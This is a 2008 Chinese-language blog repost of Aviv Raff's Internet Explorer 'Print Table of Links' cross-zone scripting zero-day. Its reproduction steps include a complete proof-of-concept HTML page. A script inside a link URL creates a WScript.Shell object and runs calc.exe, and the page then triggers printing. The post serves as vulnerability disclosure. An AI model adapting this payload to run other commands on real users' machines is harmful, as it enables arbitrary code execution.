Aviv Raff的IE0day

    [晴 May 15, 2008 09:40 | by ]
来自:Neeao 'Blog

MS Internet Explorer "Print Table of Links" Cross-Zone Scripting Vulnerability
具体细节:http://aviv.raffon.net/2008/05/14/InternetExplorerQuotPrintTableOfLinksquotCrossZoneScriptingVulnerability.aspx

如果启用了 "Print Table of Links",在打印一个网页的时候,能够导致执行任意代码,当然VISTA上UAC可以拦截它 :)

重现:
1.下面这个地方打上勾

Highslide JS


2.把下面代码保存成HTML,用IE打开,打印之,calc.exe会弹出。 (也可以直接访问http://raffon.net/research/ms/ie/print/linksrce.html
<html>
<body>
Print me with table of links to execute calc.exe
<a href="http://www.bla.com?x=b<script defer >var x=new ActiveXObject('WScript.Shell');x.Run('calc.exe');</script>a.c<u>o</u>m"></a>
<script>window.print();</script>
</body>
</html>

Tags: , , , ,
Bug&Exp | Comments(0) | Trackbacks(0) | Reads(7053)
Add a comment
Emots
emotemotemotemotemot
emotemotemotemotemot
emotemotemotemotemot
emotemotemotemotemot
emotemotemotemotemot
Enable HTML
Enable UBB
Enable Emots
Hidden
Nickname   Password   Optional
Site URI   Email   [Register]
               

Security code Case insensitive